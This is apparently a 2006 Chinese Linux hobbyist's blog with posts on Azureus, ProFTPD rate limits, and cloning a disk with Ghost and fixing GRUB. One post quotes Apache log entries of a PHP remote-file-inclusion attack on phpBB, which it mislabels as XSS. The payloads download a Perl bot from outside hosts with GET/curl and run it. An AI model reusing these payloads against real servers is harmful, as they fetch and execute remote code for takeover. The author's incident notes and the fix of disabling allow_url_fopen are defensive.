星期日, 6月 18, 2006

AZUREUS:LINUX的BT Client


藍色青蛙出現了,不過這可不是軍曹裡面DORORO,而是一套可以
在LINUX上運行的BT軟體。

在LINUX一直找不到適合使用的BT Client,過去一直聽說有一套
跨平台以JAVA為基礎的BT Client可以使用,直到今天才有空來
安裝使用,AZUREUS的PLUGIN豐富甚至可以利用WEB
的方法進行操作,比起BTComet感覺起來更加活潑變化也更多。

安裝AZUREUS需要JRE 1.4以上的版本,有空再來寫寫使用心得....

AZUREUS相關連結

星期四, 6月 15, 2006

PHP的CMD.TXT攻擊

這兩天LINUX的機器非常奇怪,幾乎無法登入進行維護,
無論是使用CONSOLE或是SSH登入都一樣,
看了看APACHE的LOG檔,發現了一堆亂七八糟的HTTP GET,
原來是遭受到XSS ATTACK,這些ATTACK是由各方面而來,經過
一兩個跳板站,進行惡意的網站登入與資源消耗戰,
在網路上翻了翻GOOGEL,好像和Havenard這個組織有關係,
不過由於PHP至今沒有官方的PATCH進行修正,
因此總結各網站的解法,目前只能先將php.ini裡面的設定
allow_url_fopen Off起來,觀察幾天在看看囉...

--ATTACK LOG

213.27.158.2 - - [14/Jun/2006:03:52:18 +0800]
"GET /modules/Forums/admin/admin_db_utilities.php?
phpbb_root_path=http://www.cosmo-
graph.com/eshop/includes/tmp/cmd.txt?&cmd=cd%20/tmp;GET%
20http://www.cosmo-graph.com/eshop/includes/tmp/w0w%20>%
20w0w;perl%20w0w;rm%20w0w*? HTTP/1.0" 200 178 "-"
"Mozilla/5.0"

83.14.177.146 - - [14/Jun/2006:05:28:03 +0800]
"GET /modules/Forums/admin/admin_users.php?
phpbb_root_path=http://www.geocities.com/kingfighter_myb0x/
cmd.txt?&cmd=cd%20/tmp;curl%20-O%20http://217.20.112.211/
bot5.txt%20>%20sess_php;perl%20sess_php?
HTTP/1.0" 200 178 "-" "Mozilla/5.0"

星期一, 6月 12, 2006

PROFTP限速語法

這兩個星期一直在跟LINUX奮戰,
文字介面的確是要有很完整的文件才有辦法做好設定,
還好有WEB和GOOGLE,透過網路和搜尋引擎,
可以很方便的找到問題,並加以修正...
以下是ProFTP的設定與指令

設定檔放在proftpd.conf中,欲更改使用者的下載速度
編輯 /etc/proftpd.conf
TransferRate RETR 50 user group
#下載
TransferRate STOR 100 user group
#上傳

開關機指定
/usr/local/proftpd/sbin/proftpd
#ProFTP開機
/usr/local/proftpd/sbin/ftpshut +0
#ProFTP關機

星期六, 6月 03, 2006

LINUX的GHOST策略

老爸那台WEB主機,這陣子硬碟總是鬼叫鬼叫的,
好像隨時要掛掉一般,我的心也跟著七上八下...
想想乾脆複製一台新硬碟上去,取代舊有的系統,
翻了翻各大網站,有教導DD的策略,有教導使用GHOST的方法
想想用GHOST應該是比較快速簡單的方法吧,
但是網路文章指出GHOST LINUX時要使用DISK TO DISK,
這樣系統才會完整,所以如果目的硬碟較大,會被複製成較小的容量...
考慮了半天,也許文章不見得對,要自己試看看才知道作法。

趕緊把機器停機,
開始進行心臟移植...
首先,使用GHOST 8.3的光碟開機片進入DOS中啟動GHOST 8.3,
接著選取PARTITION TO PARTITION的方式,
將資料COPY到新的硬碟中,
COPY過程中,怪聲層出不窮,一直擔心什麼時候原先的硬碟會壞掉,
如果這樣就糟糕了..
過了差不多2個小時,COPY完成->資料只有4G (冏)。
不過安裝的PARTITION跟先前不太一致,
原先的LINUX是放在(HD0,3),新安裝的則是在(HD0,0)

由於系統的開機磁區程式並沒有安裝完成,因此新的硬碟無法開機,
所以必需安裝GRUB Loader,
取出舊硬碟,將新硬碟換上,並且使用RedHat光碟開機,
按F5進入rescue mode
boot: linux rescue
進入系統之後,重新 chroot 系統:
root # chroot /mnt/sysimage
root # grub-install /dev/hda

重新開機
怪怪...
怎麼找不到(HD0,3)
原來資料被移到了(HD0,0)

再次進入RESCUE MODE
以ROOT身分進入/BOOT
使用VI修改MENU.LST裡面(HD0,3)為(HD0,0)的相關參數

重新開機,
大功告成,
資料全部可以使用,
後續在劃出LINUX 82的SWAP空間,

因此可得知,使用GHOST來拷貝LINUX不必使用DISK TO DISK,
這樣便得以節省新硬碟的空間喔。

GRUB相關網站